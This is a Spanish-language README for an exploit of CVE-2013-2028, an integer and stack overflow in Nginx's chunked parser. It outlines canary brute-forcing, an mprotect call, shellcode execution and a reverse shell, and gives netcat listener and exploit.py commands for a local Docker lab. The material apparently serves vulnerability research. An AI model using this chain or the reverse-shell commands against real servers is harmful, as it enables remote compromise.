Exploit CVE-2013-2028

Detalles de la vulnerabilidad

Software vulnerable: Nginx 1.3.9 < 1.4.0
Commit con la corrección: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

La vulnerabilidad existe en la función ngx_http_parse_chunked. Este exploit desencadena un desbordamiento de entero en ngx_http_parse_chunked y, posteriormente, lo utiliza para desbordar la pila y secuestrar el flujo de control.

Detalles de la explotación

El exploit real contiene 4 pasos:

1. Encontrar el valor del canario de pila mediante fuerza bruta byte a byte.
2. Calcular la dirección de mprotect usando el valor de rcx (apunta a algún lugar de lpthread). Llamar a mprotect con los argumentos adecuados.
3. Copiar el shellcode a una ubicación de memoria RWX.
4. Saltar al shellcode e iniciar una reverse shell.

Cómo reproducir

1. Iniciar un listener en el sistema host, por ejemplo usando netcat: nc -lvp 4345
2. En la máquina virtual, iniciar docker: sudo docker-compose up --build
3. Ejecutar el exploit: python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
4. Dejar que el exploit encuentre el valor real del canario e inicie la reverse shell.